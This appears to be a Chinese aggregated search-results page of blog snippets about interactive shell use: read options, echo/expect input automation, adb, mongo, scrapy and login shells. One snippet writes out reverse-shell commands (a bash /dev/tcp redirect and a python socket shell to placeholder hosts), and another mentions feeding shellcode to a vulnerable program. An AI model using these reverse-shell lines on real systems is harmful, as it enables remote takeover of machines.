精华内容
下载资源
问答
  • shell交互
    2021-09-30 14:21:27

    参考博文:
    shell语句中的read交互输入
    Linux Shell——创建交互式脚本

    read是Linux的一个命令,主要完成用户的交互输入。
    参数如下:
    -a 后跟一个变量,该变量会被认为是个数组,然后给其赋值,默认是以空格为分割符。
    -d 后面跟一个标志符,其实只有其后的第一个字符有用,作为结束的标志,会举例说 明。
    -p 后面跟提示信息,即在输入前打印提示信息。
    -e 在输入的时候可以时候命令补全功能。
    -n 后跟一个数字,定义输入文本的长度,很实用。
    -r 屏蔽,如果没有该选项,则作为一个转义字符,有的话 就是个正常的字符了。
    -s 安静模式,在输入字符时不再屏幕上显示,例如login时输入密码。
    -t 后面跟秒数,定义输入字符的等待时间。
    -u 后面跟fd,从文件描述符中读入。

    更多相关内容
  • 使用Python与Web Shell进行交互 ... 与Web Shell交互是同时练习这两种方法的好方法。 但是,一旦您掌握了它的工作原理,就可以使用任何语言来实践它,所有这些都可以从您的Kali Linux中进行。 让我们弄湿我们的脚:
  • Shell 交互输入自动化

    2021-05-12 00:09:03
    Shell 交互输入自动化,我们知道命令可以接受命令行参数。Linux也支持很多交互式应用程序,如passwd和ssh。我们可以创建自己的交互shell脚本。对于普通用户而言,相较于记忆命令行参数及其正确的顺序,同一系列...

    Shell 交互输入自动化,我们知道命令可以接受命令行参数。Linux也支持很多交互式应用程序,如passwd和ssh。

    我们可以创建自己的交互式shell脚本。对于普通用户而言,相较于记忆命令行参数及其正确的顺序,同一系列提示信息打交道要更容易。例如,一个备份用户工作成果的脚本看起来应该像这样:

    如果你需要返回到同一交互式应用,实现交互式应用自动化能够节省大量的时间;如果你正在开发此类应用,这也可以避免你陷入重复输入的挫折感中。

    预备知识

    任务自动化的第一步就是运行程序,然后注意需要执行什么操作。之前讲过的脚本命令可能会派上用场。

    实战演练

    观察交互式输入的顺序。参照上面的代码,我们可以将涉及的步骤描述如下:

    输入notes,按回车键,然后输入docx,再按回车键。这一系列操作可以被转换成下列字符串:

    按下回车键时会发送\n。添加\n后,就生成了发送给stdin的字符串。

    通过发送与用户输入等效的字符串,我们就可以实现在交互过程中自动发送输入。

    工作原理

    先写一个读取交互式输入的脚本,然后用这个脚本做自动化演示:

    按照下面的方法向脚本发送自动输入:

    像这样的交互式脚本自动化能够在开发和调试过程中节省大量输入。另外还可以确保每次测试都相同,不会出现由于输入错误导致的bug假象。

    我们用echo -e来生成输入序列。-e选项表明echo会解释转义序列。如果输入内容比较多,可以用单独的输入文件结合重定向操作符来提供输入:

    你也可以选择手动构造输入文件,不使用echo命令:

    这种方法是从文件中导入交互式输入数据。

    如果你是一名逆向工程师,那可能免不了要同缓冲区溢出攻击打交道。要实施攻击,我们需要将十六进制形式的shellcode(例如\xeb\x1a\x5e\x31\xc0\x88\x46)进行重定向。这些字符没法直接输入,因为键盘上并没有其对应的按键。因此,我们需要使用:

    这条命令会将这串字节序列重定向到有缺陷的可执行文件中。

    echo命令和重定向可以实现交互式输入的自动化。但这种技术存在问题,因为输入内容没有经过验证,我们认定目标应用总是以相同的顺序接收数据。但如果程序要求的输入顺序不同,或是对某些输入内容不做要求,那就要出岔子了。

    expect程序能够执行复杂的交互操作并适应目标应用的变化。该程序在世界范围内被广泛用于控制硬件测试、验证软件构建、查询路由器统计信息等。

    补充内容

    expect是一个和shell类似的解释器。它基于TCL语言。我们将讨论如何使用spawn、expect和send命令实现简单的自动化。借助于TCL语言的强大功能,expect能够完成更为复杂的任务。你可以通过网站http://www.tcl.tk学到有关TCL语言的更多内容。

    用expect实现自动化

    Linux发行版默认并不包含expect。你得用软件包管理器(apt-get或yum)手动进行安装。

    expect有3个主要命令,如下表所示:

    命令

    描述

    spawn

    运行新的目标应用

    expect

    关注目标应用发送的模式

    send

    向目标应用发送字符串

    下面的例子会先执行备份脚本,然后查找模式*folder*或*file*,以此确定备份脚本是否要求输入目录名或文件名并作出相应的回应。如果重写备份脚本,要求先输入备份文件类型,后输入备份目录,这个自动化脚本依然能够应对。

    运行该脚本:

    spawn命令的参数是需要自动化运行的应用程序及其参数。

    expect命令接受一组模式以及匹配模式时要执行的操作。操作需要放入花括号中。

    send命令是要发送的信息。和echo -n -e类似,send不会自动添加换行符,也能够理解转义字符。

    展开全文
  • shell 交互脚本菜单

    2020-04-04 18:01:00
    shell脚本的交互最常用的方式是使用菜单,通常是echo打印菜单出来。 由于服务别名都写在/etc/hosts中 192.168.155.172 test-1 192.168.155.173 test-2 192.168.155.174 test-3 192.168.155.140 test-4 开发人员...

    一、概述

    shell脚本的交互最常用的方式是使用菜单,通常是echo打印菜单出来。

    由于服务别名都写在/etc/hosts中

    192.168.155.172 test-1
    192.168.155.173 test-2
    192.168.155.174 test-3
    192.168.155.140 test-4

     

    开发人员连接后端服务器,需要从hosts中复制比较麻烦。

    因此需要一个交互式脚本,简化操作。

     

    二、完整代码

    start.sh

    #!/bin/bash
    #simple script menu
    
    #连接主机
    function connect_host() {
        ssh -p 22 $1
    }
    
    
    function menu {
        clear
        echo
        echo -e "test menu"
        echo -e "1. test-1"
        echo -e "2. test-2"
        echo -e "3. test-3"
        echo -e "4. test-4"
        echo -e "0. Exit menu\n\n"
        #-en 选项会去掉末尾的换行符,这让菜单看起来更专业一些
        echo -en "Enter option:"
        #read 命令读取用户输入
        read -n 1 option
    }
    
    menu
    case $option in
    0)
        exit ;;
    1)
        connect_host test-1  ;;
    2)
        connect_host test-2 ;;
    3)
        connect_host test-3 ;;
    4)
        connect_host test-4;;
    *)
        clear
        echo "sorry,wrong selection" ;;
    esac
    
    echo -en "thit any to contunue"

     

    三、用户登录自动执行脚本

    由于开发人员,统一使用用户:develop来进行登录。

    因此,将star.sh脚本,放到路径/home/develop目录下。

    修改环境脚本

    vi /home/develop/.bash_profile

    最后一行,增加内容:

    bash ~/start.sh

     

    使用develop登录,效果如下:

     

     

     

     

    本文参考链接:

    https://www.jianshu.com/p/091738dbab8e

    展开全文
  • #!/bin/bash hi_login() { /usr/bin/expect<<-EOF spawn telnet 192.168.0.160 24 expect { "(none) login:" { send "root\n" } } expect eof EOF } hi_login
    #!/bin/bash
    
    hi_login()
    {
    	/usr/bin/expect<<-EOF
    	spawn telnet 192.168.0.160 24
    	expect {
    	"(none) login:" { send "root\n" }
    	}
    	expect eof
    	EOF
    
    }
    
    hi_login
    
    展开全文
  • python进入adb shell交互模式

    千次阅读 2020-03-18 18:34:00
    #方法一:进入某个环境执行语句(adb shell),注意shell内部命令需要带\n,执行完后一定记得执行exit命令退出,否则会阻塞 obj = subprocess.Popen(['adb', 'shell'], shell = True, stdin=subprocess.PIPE, stdout...
  • 概述 ...下面我来逐步讲解一下shell交互方式。 hello.py代码如下: #!/usr/bin/python print "hello, world!" TestInput.py代码如下: #!/usr/bin/python str = raw_input() print("input strin
  • linux shell交互式界面之zenity

    千次阅读 2019-06-11 17:32:17
    列表 文件选择过滤框 确认取消框 输入确认框 、 进度条
  • python 与ADB shell交互

    千次阅读 2018-08-30 09:06:36
    python交互 使用subprocess  使设备具有部分Linux命令  python脚本:下载busybox,并且放在与脚本相同的目录下 # coding:utf-8 # 这个脚本用于使环境拥有busybox的环境 import subprocess import os print &...
  • Shell 交互输入

    千次阅读 2017-08-15 22:11:57
    场景描述如果脚本中使用ssh 登录服务器,如何用shell实现自动输入密码呢? 其实有三种办法:1.... expect主要适用于交互脚本中,详细参见1,内容比较多,这里只写如何解决自动用ssh登录服务器 和shell一样, 需要安装
  • mongo 和shell交互方式

    千次阅读 2018-11-09 15:49:28
    1. 交互式 mongo shell 大部分的 mongodb 教程,在第一章都会讲解这种方式。 mongo 127.0.0.1:27017 use test db.users.findOne() 2. mongo --eval 运行一段脚本 不进入交互模式,直接在 OS 的命令行下运行一段...
  • Spark入门1-使用Spark-shell交互分析

    千次阅读 2017-12-04 07:45:55
    Spark入门1-使用Spark-shell交互分析朱金华 njzhujinhua 2017/12/03Spark入门1-使用Spark-shell交互分析 文件读取 1 读取RDD方式 2 读取Dataset方式 查看文件 1 查看内容 2 WordCount 本系列以Spark2.2.0版本为依据...
  • vim和shell交互两种方式

    千次阅读 2017-07-25 07:32:23
    :shell 这是就可以进入shell下,执行其他的命令,最后exit退出就可以了 2,在使用vim编辑文件时,按下ctrl+z键,就可以把vim放到后台运行,之后跳转到shell执行其他任务, 按下fg就可以把vim再从后台拿...
  • shellshell实现交互

    千次阅读 2021-07-05 15:29:09
    expect是一个免费的编程工具,用来实现自动和交互式任务通信 Expect的语法: 关键命令send、expect、spawn和interact: send:用于向进程发送字符串,注意一定要在末尾加\r回车 expect:从进程接收字符串 spawn...
  • 主题:交互式爬虫shell命令实践。 C:\Users\32310>scrapy shell https://www.taobao.com/tbhome/page/special-markets 2020-02-19 16:01:34 [scrapy.utils.log] INFO: Scrapy 1.7.4 started (bot: scrapybot) 2020-...
  • BASH是SHELL的一种,是大多数LINUX发行版默认的SHELL,除BASH SHELL外还有C SHELL等其它类型的SHELL。 用户登录到Linux系统后,系统将启动一个用户shell。在这个shell中,可以使用shell命令或声明变量,也可以创建并...
  • 下面我来逐步讲解一下shell交互方式。 hello.py代码如下: 复制代码 代码如下: #!/usr/bin/python print “hello, world!” TestInput.py代码如下: 复制代码 代码如下: #!/usr/bin/python str = raw_input()
  • Python和Shell交互

    万次阅读 2017-03-29 09:17:58
    其实并不是不喜欢Shell的基本命令,只是对于一个面向C的人来说,很难快速适应Shell脚本语法(尤其是for,if..) 其实python调用系统命令的方法和C类似(C也是system,记得以前在Dev中经常使用system("pause")来解决闪退...
  • Linux Shell 脚本交互输入

    千次阅读 2021-11-19 22:06:21
    [interact] 执行完成后保持交互状态,把控制权从expect交会给shellshell就可以执行spawn加壳的命令。 没有这句的话,即使已经成功输入,也不会执行shell命令,因为控制权还是expect手里,而expect是不能解释...
  • 交互shell脚本实操

    千次阅读 2021-11-10 16:19:05
    在Linux编程中有时我们会用到shell脚本来帮我们做一些事情,但涉及到交互中需要人为交互的部分就比较麻烦,但shell操作中其实是考虑到这点的。下面我以一个例子来简要的说明,当然网上有很多相关的描述,只是信息较...
  • golang与shell交互

    千次阅读 2013-11-26 13:47:04
    项目需要,需要一个agent客户端,调用shell脚本以实现自动化部署,写博客备忘 1.go语言开发客户端,调用本地指定脚本 package main   import ( . "agent" "agent/conf" "encoding/...
  • 这篇文章主要介绍了Python与shell的3种交互方式介绍,本文讲解了 os.system、 os.popen、 subprocess 模块等3种方法,需要的朋友可以参考下。   问题概述 考虑这样一个问题,有hello.py脚本,输出”hello, ...
  • Scala 基于Web的交互式Scala Shell
  • Linux下反弹shell交互shell命令

    千次阅读 2021-02-19 12:56:19
    bash反弹shell 接收端:nc -lvvp 端口 发送端:bash -i >& /dev/tcp/接收端IP/接收端端口 0>&1 python反弹shell 接收端:nc -lvvp 端口 发送端:python -c 'import socket,subprocess,os;s=socket....
  • shell交互输入自动化

    千次阅读 2019-05-20 13:08:24
    shell中有时我们需要交互,但是呢我们又不想每次从stdin输入,想让其自动化,这时我们就要使shell交互输入自动化了。这个功能很有用的哟。好好学习。 1 利用重定向 重定向的方法应该是最简单的 例: 以下的test.sh是...
  • 你打开mac终端时,就是交互式登录shell,所以要使你的系统配置所有用户都生效,就要都以交互式登录方式。 2、退出shell #查看当前活跃的shell ps -ef | grep bash #退出当前shell(login 命令登录时,可以用...
  • 我要写一个给Apk文件进行V3签名的Shell脚本来实现自动化,避免每次手动输入大量命令的问题。实现过程中主要的两个点,第一个是部分命令执行后需要输入密码,如何实现自动化;第二个是Apk文件的地址需要以参数形式...
  • 交互shell

    2019-09-23 15:18:08
    如果你的bash shell不是系统登录时启动的(比如实在命令行提示符下符来敲入bash时启动),那么你启动的shell叫作交互shell交互shell不会像登录 shell 一样运行,但他依然提供了; 命令行提示来输入命令。 ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 224,833
精华内容 89,933
关键字:

shell交互

友情链接: 340_ucos_lcd_queping.rar